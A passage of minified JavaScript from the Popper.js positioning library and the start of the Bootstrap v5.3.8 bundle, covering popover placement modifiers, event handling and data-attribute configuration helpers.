$(){var t=navigator.userAgentData;return null!=t&&t.brands&&Array.isArray(t.brands)?t.brands.map(function(t){return t.brand+\"/\"+t.version}).join(\" \"):navigator.userAgent}function tt(){return!/^((?!chrome|android).)*safari/i.test($())}function et(t,e,r){void 0===e&&(e=!1),void 0===r&&(r=!1);var n=t.getBoundingClientRect(),i=1,o=1;e&&Y(t)&&(i=t.offsetWidth>0&&X(n.width)/t.offsetWidth||1,o=t.offsetHeight>0&&X(n.height)/t.offsetHeight||1);var a=(U(t)?H(t):window).visualViewport,s=!tt()&&r,l=(n.left+(s&&a?a.offsetLeft:0))/i,c=(n.top+(s&&a?a.offsetTop:0))/o,u=n.width/i,p=n.height/o;return{width:u,height:p,top:c,right:l+u,bottom:c+p,left:l,x:l,y:c}}function rt(t){var e=et(t),r=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-r)<=1&&(r=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:r,height:n}}function nt(t,e){var r=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(r&&J(r)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function it(t){return H(t).getComputedStyle(t)}function ot(t){return[\"table\",\"td\",\"th\"].indexOf(K(t))>=0}function at(t){return((U(t)?t.ownerDocument:t.document)||window.document).documentElement}function st(t){return\"html\"===K(t)?t:t.assignedSlot||t.parentNode||(J(t)?t.host:null)||at(t)}function lt(t){return Y(t)&&\"fixed\"!==it(t).position?t.offsetParent:null}function ct(t){for(var e=H(t),r=lt(t);r&&ot(r)&&\"static\"===it(r).position;)r=lt(r);return r&&(\"html\"===K(r)||\"body\"===K(r)&&\"static\"===it(r).position)?e:r||function(t){var e=/firefox/i.test($());if(/Trident/i.test($())&&Y(t)&&\"fixed\"===it(t).position)return null;var r=st(t);for(J(r)&&(r=r.host);Y(r)&&[\"html\",\"body\"].indexOf(K(r))<0;){var n=it(r);if(\"none\"!==n.transform||\"none\"!==n.perspective||\"paint\"===n.contain||-1!==[\"transform\",\"perspective\"].indexOf(n.willChange)||e&&\"filter\"===n.willChange||e&&n.filter&&\"none\"!==n.filter)return r;r=r.parentNode}return null}(t)||e}function ut(t){return[\"top\",\"bottom\"].indexOf(t)>=0?\"x\":\"y\"}function pt(t,e,r){return V(t,z(e,r))}function dt(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function mt(t,e){return e.reduce(function(e,r){return e[r]=t,e},{})}const ft={name:\"arrow\",enabled:!0,phase:\"main\",fn:function(t){var e,r=t.state,n=t.name,i=t.options,o=r.elements.arrow,a=r.modifiersData.popperOffsets,s=q(r.placement),l=ut(s),c=[w,x].indexOf(s)>=0?\"height\":\"width\";if(o&&a){var u=function(t,e){return dt(\"number\"!=typeof(t=\"function\"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:mt(t,C))}(i.padding,r),p=rt(o),d=\"y\"===l?y:w,m=\"y\"===l?v:x,f=r.rects.reference[c]+r.rects.reference[l]-a[l]-r.rects.popper[c],h=a[l]-r.rects.reference[l],g=ct(o),A=g?\"y\"===l?g.clientHeight||0:g.clientWidth||0:0,b=f/2-h/2,_=u[d],I=A-p[c]-u[m],k=A/2-p[c]/2+b,E=pt(_,k,I),B=l;r.modifiersData[n]=((e={})[B]=E,e.centerOffset=E-k,e)}},effect:function(t){var e=t.state,r=t.options.element,n=void 0===r?\"[data-popper-arrow]\":r;null!=n&&(\"string\"!=typeof n||(n=e.elements.popper.querySelector(n)))&&nt(e.elements.popper,n)&&(e.elements.arrow=n)},requires:[\"popperOffsets\"],requiresIfExists:[\"preventOverflow\"]};function ht(t){return t.split(\"-\")[1]}var gt={top:\"auto\",right:\"auto\",bottom:\"auto\",left:\"auto\"};function At(t){var e,r=t.popper,n=t.popperRect,i=t.placement,o=t.variation,a=t.offsets,s=t.position,l=t.gpuAcceleration,c=t.adaptive,u=t.roundOffsets,p=t.isFixed,d=a.x,m=void 0===d?0:d,f=a.y,h=void 0===f?0:f,g=\"function\"==typeof u?u({x:m,y:h}):{x:m,y:h};m=g.x,h=g.y;var A=a.hasOwnProperty(\"x\"),b=a.hasOwnProperty(\"y\"),_=w,C=y,I=window;if(c){var E=ct(r),B=\"clientHeight\",S=\"clientWidth\";if(E===H(r)&&\"static\"!==it(E=at(r)).position&&\"absolute\"===s&&(B=\"scrollHeight\",S=\"scrollWidth\"),i===y||(i===w||i===x)&&o===k)C=v,h-=(p&&E===I&&I.visualViewport?I.visualViewport.height:E[B])-n.height,h*=l?1:-1;if(i===w||(i===y||i===v)&&o===k)_=x,m-=(p&&E===I&&I.visualViewport?I.visualViewport.width:E[S])-n.width,m*=l?1:-1}var D,O=Object.assign({position:s},c&&gt),T=!0===u?function(t,e){var r=t.x,n=t.y,i=e.devicePixelRatio||1;return{x:X(r*i)/i||0,y:X(n*i)/i||0}}({x:m,y:h},H(r)):{x:m,y:h};return m=T.x,h=T.y,l?Object.assign({},O,((D={})[C]=b?\"0\":\"\",D[_]=A?\"0\":\"\",D.transform=(I.devicePixelRatio||1)<=1?\"translate(\"+m+\"px, \"+h+\"px)\":\"translate3d(\"+m+\"px, \"+h+\"px, 0)\",D)):Object.assign({},O,((e={})[C]=b?h+\"px\":\"\",e[_]=A?m+\"px\":\"\",e.transform=\"\",e))}const bt={name:\"computeStyles\",enabled:!0,phase:\"beforeWrite\",fn:function(t){var e=t.state,r=t.options,n=r.gpuAcceleration,i=void 0===n||n,o=r.adaptive,a=void 0===o||o,s=r.roundOffsets,l=void 0===s||s,c={placement:q(e.placement),variation:ht(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:i,isFixed:\"fixed\"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,At(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:a,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,At(Object.assign({},c,{offsets:e.modifiersData.arrow,position:\"absolute\",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{\"data-popper-placement\":e.placement})},data:{}};var yt={passive:!0};const vt={name:\"eventListeners\",enabled:!0,phase:\"write\",fn:function(){},effect:function(t){var e=t.state,r=t.instance,n=t.options,i=n.scroll,o=void 0===i||i,a=n.resize,s=void 0===a||a,l=H(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach(function(t){t.addEventListener(\"scroll\",r.update,yt)}),s&&l.addEventListener(\"resize\",r.update,yt),function(){o&&c.forEach(function(t){t.removeEventListener(\"scroll\",r.update,yt)}),s&&l.removeEventListener(\"resize\",r.update,yt)}},data:{}};var xt={left:\"right\",right:\"left\",bottom:\"top\",top:\"bottom\"};function wt(t){return t.replace(/left|right|bottom|top/g,function(t){return xt[t]})}var _t={start:\"end\",end:\"start\"};function Ct(t){return t.replace(/start|end/g,function(t){return _t[t]})}function It(t){var e=H(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function kt(t){return et(at(t)).left+It(t).scrollLeft}function Et(t){var e=it(t),r=e.overflow,n=e.overflowX,i=e.overflowY;return/auto|scroll|overlay|hidden/.test(r+i+n)}function Bt(t){return[\"html\",\"body\",\"#document\"].indexOf(K(t))>=0?t.ownerDocument.body:Y(t)&&Et(t)?t:Bt(st(t))}function St(t,e){var r;void 0===e&&(e=[]);var n=Bt(t),i=n===(null==(r=t.ownerDocument)?void 0:r.body),o=H(n),a=i?[o].concat(o.visualViewport||[],Et(n)?n:[]):n,s=e.concat(a);return i?s:s.concat(St(st(a)))}function Dt(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Ot(t,e,r){return e===B?Dt(function(t,e){var r=H(t),n=at(t),i=r.visualViewport,o=n.clientWidth,a=n.clientHeight,s=0,l=0;if(i){o=i.width,a=i.height;var c=tt();(c||!c&&\"fixed\"===e)&&(s=i.offsetLeft,l=i.offsetTop)}return{width:o,height:a,x:s+kt(t),y:l}}(t,r)):U(e)?function(t,e){var r=et(t,!1,\"fixed\"===e);return r.top=r.top+t.clientTop,r.left=r.left+t.clientLeft,r.bottom=r.top+t.clientHeight,r.right=r.left+t.clientWidth,r.width=t.clientWidth,r.height=t.clientHeight,r.x=r.left,r.y=r.top,r}(e,r):Dt(function(t){var e,r=at(t),n=It(t),i=null==(e=t.ownerDocument)?void 0:e.body,o=V(r.scrollWidth,r.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),a=V(r.scrollHeight,r.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),s=-n.scrollLeft+kt(t),l=-n.scrollTop;return\"rtl\"===it(i||r).direction&&(s+=V(r.clientWidth,i?i.clientWidth:0)-o),{width:o,height:a,x:s,y:l}}(at(t)))}function Tt(t,e,r,n){var i=\"clippingParents\"===e?function(t){var e=St(st(t)),r=[\"absolute\",\"fixed\"].indexOf(it(t).position)>=0&&Y(t)?ct(t):t;return U(r)?e.filter(function(t){return U(t)&&nt(t,r)&&\"body\"!==K(t)}):[]}(t):[].concat(e),o=[].concat(i,[r]),a=o[0],s=o.reduce(function(e,r){var i=Ot(t,r,n);return e.top=V(i.top,e.top),e.right=z(i.right,e.right),e.bottom=z(i.bottom,e.bottom),e.left=V(i.left,e.left),e},Ot(t,a,n));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}function Ft(t){var e,r=t.reference,n=t.element,i=t.placement,o=i?q(i):null,a=i?ht(i):null,s=r.x+r.width/2-n.width/2,l=r.y+r.height/2-n.height/2;switch(o){case y:e={x:s,y:r.y-n.height};break;case v:e={x:s,y:r.y+r.height};break;case x:e={x:r.x+r.width,y:l};break;case w:e={x:r.x-n.width,y:l};break;default:e={x:r.x,y:r.y}}var c=o?ut(o):null;if(null!=c){var u=\"y\"===c?\"height\":\"width\";switch(a){case I:e[c]=e[c]-(r[u]/2-n[u]/2);break;case k:e[c]=e[c]+(r[u]/2-n[u]/2)}}return e}function Nt(t,e){void 0===e&&(e={});var r=e,n=r.placement,i=void 0===n?t.placement:n,o=r.strategy,a=void 0===o?t.strategy:o,s=r.boundary,l=void 0===s?E:s,c=r.rootBoundary,u=void 0===c?B:c,p=r.elementContext,d=void 0===p?S:p,m=r.altBoundary,f=void 0!==m&&m,h=r.padding,g=void 0===h?0:h,A=dt(\"number\"!=typeof g?g:mt(g,C)),b=d===S?D:S,w=t.rects.popper,_=t.elements[f?b:d],I=Tt(U(_)?_:_.contextElement||at(t.elements.popper),l,u,a),k=et(t.elements.reference),O=Ft({reference:k,element:w,strategy:\"absolute\",placement:i}),T=Dt(Object.assign({},w,O)),F=d===S?T:k,N={top:I.top-F.top+A.top,bottom:F.bottom-I.bottom+A.bottom,left:I.left-F.left+A.left,right:F.right-I.right+A.right},j=t.modifiersData.offset;if(d===S&&j){var M=j[i];Object.keys(N).forEach(function(t){var e=[x,v].indexOf(t)>=0?1:-1,r=[y,v].indexOf(t)>=0?\"y\":\"x\";N[t]+=M[r]*e})}return N}const jt={name:\"flip\",enabled:!0,phase:\"main\",fn:function(t){var e=t.state,r=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var i=r.mainAxis,o=void 0===i||i,a=r.altAxis,s=void 0===a||a,l=r.fallbackPlacements,c=r.padding,u=r.boundary,p=r.rootBoundary,d=r.altBoundary,m=r.flipVariations,f=void 0===m||m,h=r.allowedAutoPlacements,g=e.options.placement,A=q(g),b=l||(A===g||!f?[wt(g)]:function(t){if(q(t)===_)return[];var e=wt(t);return[Ct(t),e,Ct(e)]}(g)),k=[g].concat(b).reduce(function(t,r){return t.concat(q(r)===_?function(t,e){void 0===e&&(e={});var r=e,n=r.placement,i=r.boundary,o=r.rootBoundary,a=r.padding,s=r.flipVariations,l=r.allowedAutoPlacements,c=void 0===l?T:l,u=ht(n),p=u?s?O:O.filter(function(t){return ht(t)===u}):C,d=p.filter(function(t){return c.indexOf(t)>=0});0===d.length&&(d=p);var m=d.reduce(function(e,r){return e[r]=Nt(t,{placement:r,boundary:i,rootBoundary:o,padding:a})[q(r)],e},{});return Object.keys(m).sort(function(t,e){return m[t]-m[e]})}(e,{placement:r,boundary:u,rootBoundary:p,padding:c,flipVariations:f,allowedAutoPlacements:h}):r)},[]),E=e.rects.reference,B=e.rects.popper,S=new Map,D=!0,F=k[0],N=0;N<k.length;N++){var j=k[N],M=q(j),R=ht(j)===I,L=[y,v].indexOf(M)>=0,Q=L?\"width\":\"height\",G=Nt(e,{placement:j,boundary:u,rootBoundary:p,altBoundary:d,padding:c}),P=L?R?x:w:R?v:y;E[Q]>B[Q]&&(P=wt(P));var W=wt(P),K=[];if(o&&K.push(G[M]<=0),s&&K.push(G[P]<=0,G[W]<=0),K.every(function(t){return t})){F=j,D=!1;break}S.set(j,K)}if(D)for(var H=function(t){var e=k.find(function(e){var r=S.get(e);if(r)return r.slice(0,t).every(function(t){return t})});if(e)return F=e,\"break\"},U=f?3:1;U>0;U--){if(\"break\"===H(U))break}e.placement!==F&&(e.modifiersData[n]._skip=!0,e.placement=F,e.reset=!0)}},requiresIfExists:[\"offset\"],data:{_skip:!1}};function Mt(t,e,r){return void 0===r&&(r={x:0,y:0}),{top:t.top-e.height-r.y,right:t.right-e.width+r.x,bottom:t.bottom-e.height+r.y,left:t.left-e.width-r.x}}function Rt(t){return[y,x,v,w].some(function(e){return t[e]>=0})}const Lt={name:\"hide\",enabled:!0,phase:\"main\",requiresIfExists:[\"preventOverflow\"],fn:function(t){var e=t.state,r=t.name,n=e.rects.reference,i=e.rects.popper,o=e.modifiersData.preventOverflow,a=Nt(e,{elementContext:\"reference\"}),s=Nt(e,{altBoundary:!0}),l=Mt(a,n),c=Mt(s,i,o),u=Rt(l),p=Rt(c);e.modifiersData[r]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:u,hasPopperEscaped:p},e.attributes.popper=Object.assign({},e.attributes.popper,{\"data-popper-reference-hidden\":u,\"data-popper-escaped\":p})}};const Qt={name:\"offset\",enabled:!0,phase:\"main\",requires:[\"popperOffsets\"],fn:function(t){var e=t.state,r=t.options,n=t.name,i=r.offset,o=void 0===i?[0,0]:i,a=T.reduce(function(t,r){return t[r]=function(t,e,r){var n=q(t),i=[w,y].indexOf(n)>=0?-1:1,o=\"function\"==typeof r?r(Object.assign({},e,{placement:t})):r,a=o[0],s=o[1];return a=a||0,s=(s||0)*i,[w,x].indexOf(n)>=0?{x:s,y:a}:{x:a,y:s}}(r,e.rects,o),t},{}),s=a[e.placement],l=s.x,c=s.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=a}};const Gt={name:\"popperOffsets\",enabled:!0,phase:\"read\",fn:function(t){var e=t.state,r=t.name;e.modifiersData[r]=Ft({reference:e.rects.reference,element:e.rects.popper,strategy:\"absolute\",placement:e.placement})},data:{}};const Pt={name:\"preventOverflow\",enabled:!0,phase:\"main\",fn:function(t){var e=t.state,r=t.options,n=t.name,i=r.mainAxis,o=void 0===i||i,a=r.altAxis,s=void 0!==a&&a,l=r.boundary,c=r.rootBoundary,u=r.altBoundary,p=r.padding,d=r.tether,m=void 0===d||d,f=r.tetherOffset,h=void 0===f?0:f,g=Nt(e,{boundary:l,rootBoundary:c,padding:p,altBoundary:u}),A=q(e.placement),b=ht(e.placement),_=!b,C=ut(A),k=\"x\"===C?\"y\":\"x\",E=e.modifiersData.popperOffsets,B=e.rects.reference,S=e.rects.popper,D=\"function\"==typeof h?h(Object.assign({},e.rects,{placement:e.placement})):h,O=\"number\"==typeof D?{mainAxis:D,altAxis:D}:Object.assign({mainAxis:0,altAxis:0},D),T=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,F={x:0,y:0};if(E){if(o){var N,j=\"y\"===C?y:w,M=\"y\"===C?v:x,R=\"y\"===C?\"height\":\"width\",L=E[C],Q=L+g[j],G=L-g[M],P=m?-S[R]/2:0,W=b===I?B[R]:S[R],K=b===I?-S[R]:-B[R],H=e.elements.arrow,U=m&&H?rt(H):{width:0,height:0},Y=e.modifiersData[\"arrow#persistent\"]?e.modifiersData[\"arrow#persistent\"].padding:{top:0,right:0,bottom:0,left:0},J=Y[j],Z=Y[M],X=pt(0,B[R],U[R]),$=_?B[R]/2-P-X-J-O.mainAxis:W-X-J-O.mainAxis,tt=_?-B[R]/2+P+X+Z+O.mainAxis:K+X+Z+O.mainAxis,et=e.elements.arrow&&ct(e.elements.arrow),nt=et?\"y\"===C?et.clientTop||0:et.clientLeft||0:0,it=null!=(N=null==T?void 0:T[C])?N:0,ot=L+tt-it,at=pt(m?z(Q,L+$-it-nt):Q,L,m?V(G,ot):G);E[C]=at,F[C]=at-L}if(s){var st,lt=\"x\"===C?y:w,dt=\"x\"===C?v:x,mt=E[k],ft=\"y\"===k?\"height\":\"width\",gt=mt+g[lt],At=mt-g[dt],bt=-1!==[y,w].indexOf(A),yt=null!=(st=null==T?void 0:T[k])?st:0,vt=bt?gt:mt-B[ft]-S[ft]-yt+O.altAxis,xt=bt?mt+B[ft]+S[ft]-yt-O.altAxis:At,wt=m&&bt?function(t,e,r){var n=pt(t,e,r);return n>r?r:n}(vt,mt,xt):pt(m?vt:gt,mt,m?xt:At);E[k]=wt,F[k]=wt-mt}e.modifiersData[n]=F}},requiresIfExists:[\"offset\"]};function Wt(t,e,r){void 0===r&&(r=!1);var n,i,o=Y(e),a=Y(e)&&function(t){var e=t.getBoundingClientRect(),r=X(e.width)/t.offsetWidth||1,n=X(e.height)/t.offsetHeight||1;return 1!==r||1!==n}(e),s=at(e),l=et(t,a,r),c={scrollLeft:0,scrollTop:0},u={x:0,y:0};return(o||!o&&!r)&&((\"body\"!==K(e)||Et(s))&&(c=(n=e)!==H(n)&&Y(n)?{scrollLeft:(i=n).scrollLeft,scrollTop:i.scrollTop}:It(n)),Y(e)?((u=et(e,!0)).x+=e.clientLeft,u.y+=e.clientTop):s&&(u.x=kt(s))),{x:l.left+c.scrollLeft-u.x,y:l.top+c.scrollTop-u.y,width:l.width,height:l.height}}function Kt(t){var e=new Map,r=new Set,n=[];function i(t){r.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach(function(t){if(!r.has(t)){var n=e.get(t);n&&i(n)}}),n.push(t)}return t.forEach(function(t){e.set(t.name,t)}),t.forEach(function(t){r.has(t.name)||i(t)}),n}var Ht={placement:\"bottom\",modifiers:[],strategy:\"absolute\"};function Ut(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];return!e.some(function(t){return!(t&&\"function\"==typeof t.getBoundingClientRect)})}function Yt(t){void 0===t&&(t={});var e=t,r=e.defaultModifiers,n=void 0===r?[]:r,i=e.defaultOptions,o=void 0===i?Ht:i;return function(t,e,r){void 0===r&&(r=o);var i,a,s={placement:\"bottom\",orderedModifiers:[],options:Object.assign({},Ht,o),modifiersData:{},elements:{reference:t,popper:e},attributes:{},styles:{}},l=[],c=!1,u={state:s,setOptions:function(r){var i=\"function\"==typeof r?r(s.options):r;p(),s.options=Object.assign({},o,s.options,i),s.scrollParents={reference:U(t)?St(t):t.contextElement?St(t.contextElement):[],popper:St(e)};var a,c,d=function(t){var e=Kt(t);return W.reduce(function(t,r){return t.concat(e.filter(function(t){return t.phase===r}))},[])}((a=[].concat(n,s.options.modifiers),c=a.reduce(function(t,e){var r=t[e.name];return t[e.name]=r?Object.assign({},r,e,{options:Object.assign({},r.options,e.options),data:Object.assign({},r.data,e.data)}):e,t},{}),Object.keys(c).map(function(t){return c[t]})));return s.orderedModifiers=d.filter(function(t){return t.enabled}),s.orderedModifiers.forEach(function(t){var e=t.name,r=t.options,n=void 0===r?{}:r,i=t.effect;if(\"function\"==typeof i){var o=i({state:s,name:e,instance:u,options:n}),a=function(){};l.push(o||a)}}),u.update()},forceUpdate:function(){if(!c){var t=s.elements,e=t.reference,r=t.popper;if(Ut(e,r)){s.rects={reference:Wt(e,ct(r),\"fixed\"===s.options.strategy),popper:rt(r)},s.reset=!1,s.placement=s.options.placement,s.orderedModifiers.forEach(function(t){return s.modifiersData[t.name]=Object.assign({},t.data)});for(var n=0;n<s.orderedModifiers.length;n++)if(!0!==s.reset){var i=s.orderedModifiers[n],o=i.fn,a=i.options,l=void 0===a?{}:a,p=i.name;\"function\"==typeof o&&(s=o({state:s,options:l,name:p,instance:u})||s)}else s.reset=!1,n=-1}}},update:(i=function(){return new Promise(function(t){u.forceUpdate(),t(s)})},function(){return a||(a=new Promise(function(t){Promise.resolve().then(function(){a=void 0,t(i())})})),a}),destroy:function(){p(),c=!0}};if(!Ut(t,e))return u;function p(){l.forEach(function(t){return t()}),l=[]}return u.setOptions(r).then(function(t){!c&&r.onFirstUpdate&&r.onFirstUpdate(t)}),u}}var Jt=Yt(),Zt=Yt({defaultModifiers:[vt,Gt,bt,Z,Qt,jt,Pt,ft,Lt]}),qt=Yt({defaultModifiers:[vt,Gt,bt,Z]});\n/*!\n  * Bootstrap v5.3.8 (https://getbootstrap.com/)\n  * Copyright 2011-2025 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)\n  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n  */\nconst Vt=new Map,zt={set(t,e,r){Vt.has(t)||Vt.set(t,new Map);const n=Vt.get(t);n.has(e)||0===n.size?n.set(e,r):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>Vt.has(t)&&Vt.get(t).get(e)||null,remove(t,e){if(!Vt.has(t))return;const r=Vt.get(t);r.delete(e),0===r.size&&Vt.delete(t)}},Xt=\"transitionend\",$t=t=>(t&&window.CSS&&window.CSS.escape&&(t=t.replace(/#([^\\s\"#']+)/g,(t,e)=>`#${CSS.escape(e)}`)),t),te=t=>null==t?`${t}`:Object.prototype.toString.call(t).match(/\\s([a-z]+)/i)[1].toLowerCase(),ee=t=>{t.dispatchEvent(new Event(Xt))},re=t=>!(!t||\"object\"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),ne=t=>re(t)?t.jquery?t[0]:t:\"string\"==typeof t&&t.length>0?document.querySelector($t(t)):null,ie=t=>{if(!re(t)||0===t.getClientRects().length)return!1;const e=\"visible\"===getComputedStyle(t).getPropertyValue(\"visibility\"),r=t.closest(\"details:not([open])\");if(!r)return e;if(r!==t){const e=t.closest(\"summary\");if(e&&e.parentNode!==r)return!1;if(null===e)return!1}return e},oe=t=>!t||t.nodeType!==Node.ELEMENT_NODE||(!!t.classList.contains(\"disabled\")||(void 0!==t.disabled?t.disabled:t.hasAttribute(\"disabled\")&&\"false\"!==t.getAttribute(\"disabled\"))),ae=t=>{if(!document.documentElement.attachShadow)return null;if(\"function\"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?ae(t.parentNode):null},se=()=>{},le=t=>{t.offsetHeight},ce=()=>window.jQuery&&!document.body.hasAttribute(\"data-bs-no-jquery\")?window.jQuery:null,ue=[],pe=()=>\"rtl\"===document.documentElement.dir,de=t=>{var e;e=()=>{const e=ce();if(e){const r=t.NAME,n=e.fn[r];e.fn[r]=t.jQueryInterface,e.fn[r].Constructor=t,e.fn[r].noConflict=()=>(e.fn[r]=n,t.jQueryInterface)}},\"loading\"===document.readyState?(ue.length||document.addEventListener(\"DOMContentLoaded\",()=>{for(const t of ue)t()}),ue.push(e)):e()},me=(t,e=[],r=t)=>\"function\"==typeof t?t.call(...e):r,fe=(t,e,r=!0)=>{if(!r)return void me(t);const n=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:r}=window.getComputedStyle(t);const n=Number.parseFloat(e),i=Number.parseFloat(r);return n||i?(e=e.split(\",\")[0],r=r.split(\",\")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(r))):0})(e)+5;let i=!1;const o=({target:r})=>{r===e&&(i=!0,e.removeEventListener(Xt,o),me(t))};e.addEventListener(Xt,o),setTimeout(()=>{i||ee(e)},n)},he=(t,e,r,n)=>{const i=t.length;let o=t.indexOf(e);return-1===o?!r&&n?t[i-1]:t[0]:(o+=r?1:-1,n&&(o=(o+i)%i),t[Math.max(0,Math.min(o,i-1))])},ge=/[^.]*(?=\\..*)\\.|.*/,Ae=/\\..*/,be=/::\\d+$/,ye={};let ve=1;const xe={mouseenter:\"mouseover\",mouseleave:\"mouseout\"},we=new Set([\"click\",\"dblclick\",\"mouseup\",\"mousedown\",\"contextmenu\",\"mousewheel\",\"DOMMouseScroll\",\"mouseover\",\"mouseout\",\"mousemove\",\"selectstart\",\"selectend\",\"keydown\",\"keypress\",\"keyup\",\"orientationchange\",\"touchstart\",\"touchmove\",\"touchend\",\"touchcancel\",\"pointerdown\",\"pointermove\",\"pointerup\",\"pointerleave\",\"pointercancel\",\"gesturestart\",\"gesturechange\",\"gestureend\",\"focus\",\"blur\",\"change\",\"reset\",\"select\",\"submit\",\"focusin\",\"focusout\",\"load\",\"unload\",\"beforeunload\",\"resize\",\"move\",\"DOMContentLoaded\",\"readystatechange\",\"error\",\"abort\",\"scroll\"]);function _e(t,e){return e&&`${e}::${ve++}`||t.uidEvent||ve++}function Ce(t){const e=_e(t);return t.uidEvent=e,ye[e]=ye[e]||{},ye[e]}function Ie(t,e,r=null){return Object.values(t).find(t=>t.callable===e&&t.delegationSelector===r)}function ke(t,e,r){const n=\"string\"==typeof e,i=n?r:e||r;let o=De(t);return we.has(o)||(o=t),[n,i,o]}function Ee(t,e,r,n,i){if(\"string\"!=typeof e||!t)return;let[o,a,s]=ke(e,r,n);if(e in xe){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};a=t(a)}const l=Ce(t),c=l[s]||(l[s]={}),u=Ie(c,a,o?r:null);if(u)return void(u.oneOff=u.oneOff&&i);const p=_e(a,e.replace(ge,\"\")),d=o?function(t,e,r){return function n(i){const o=t.querySelectorAll(e);for(let{target:a}=i;a&&a!==this;a=a.parentNode)for(const s of o)if(s===a)return Te(i,{delegateTarget:a}),n.oneOff&&Oe.off(t,i.type,e,r),r.apply(a,[i])}}(t,r,a):function(t,e){return function r(n){return Te(n,{delegateTarget:t}),r.oneOff&&Oe.off(t,n.type,e),e.apply(t,[n])}}(t,a);d.delegationSelector=o?r:null,d.callable=a,d.oneOff=i,d.uidEvent=p,c[p]=d,t.addEventListener(s,d,o)}function Be(t,e,r,n,i){const o=Ie(e[r],n,i);o&&(t.removeEventListener(r,o,Boolean(i)),delete e[r][o.uidEvent])}function Se(t,e,r,n){const i=e[r]||{};for(const[o,a]of Object.entries(i))o.includes(n)&&Be(t,e,r,a.callable,a.delegationSelector)}function De(t){return t=t.replace(Ae,\"\"),xe[t]||t}const Oe={on(t,e,r,n){Ee(t,e,r,n,!1)},one(t,e,r,n){Ee(t,e,r,n,!0)},off(t,e,r,n){if(\"string\"!=typeof e||!t)return;const[i,o,a]=ke(e,r,n),s=a!==e,l=Ce(t),c=l[a]||{},u=e.startsWith(\".\");if(void 0===o){if(u)for(const r of Object.keys(l))Se(t,l,r,e.slice(1));for(const[r,n]of Object.entries(c)){const i=r.replace(be,\"\");s&&!e.includes(i)||Be(t,l,a,n.callable,n.delegationSelector)}}else{if(!Object.keys(c).length)return;Be(t,l,a,o,i?r:null)}},trigger(t,e,r){if(\"string\"!=typeof e||!t)return null;const n=ce();let i=null,o=!0,a=!0,s=!1;e!==De(e)&&n&&(i=n.Event(e,r),n(t).trigger(i),o=!i.isPropagationStopped(),a=!i.isImmediatePropagationStopped(),s=i.isDefaultPrevented());const l=Te(new Event(e,{bubbles:o,cancelable:!0}),r);return s&&l.preventDefault(),a&&t.dispatchEvent(l),l.defaultPrevented&&i&&i.preventDefault(),l}};function Te(t,e={}){for(const[r,n]of Object.entries(e))try{t[r]=n}catch(e){Object.defineProperty(t,r,{configurable:!0,get:()=>n})}return t}function Fe(t){if(\"true\"===t)return!0;if(\"false\"===t)return!1;if(t===Number(t).toString())return Number(t);if(\"\"===t||\"null\"===t)return null;if(\"string\"!=typeof t)return t;try{return JSON.parse(decodeURIComponent(t))}catch(e){return t}}function Ne(t){return t.replace(/[A-Z]/g,t=>`-${t.toLowerCase()}`)}const je={setDataAttribute(t,e,r){t.setAttribute(`data-bs-${Ne(e)}`,r)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${Ne(e)}`)},getDataAttributes(t){if(!t)return{};const e={},r=Object.keys(t.dataset).filter(t=>t.startsWith(\"bs\")&&!t.startsWith(\"bsConfig\"));for(const n of r){let r=n.replace(/^bs/,\"\");r=r.charAt(0).toLowerCase()+r.slice(1),e[r]=Fe(t.dataset[n])}return e},getDataAttribute:(t,e)=>Fe(t.getAttribute(`data-bs-${Ne(e)}`))};class Me{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method \"NAME\", for each component!')}_getConfig(t){return t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const r=re(e)?je.getDataAttribute(e,\"config\"):{};return{...this.constructor.Default,...\"object\"==typeof r?r:{},...re(e)?je.getDataAttributes(e):{},...\"object\"==typeof t?t:{}}}_typeCheckConfig(t,e=this.constructor.DefaultType){for(const[r,n]of Object.entries(e)){const e=t[r],i=re(e)?\"element\":te(e);if(!new RegExp(n).test(i))throw new 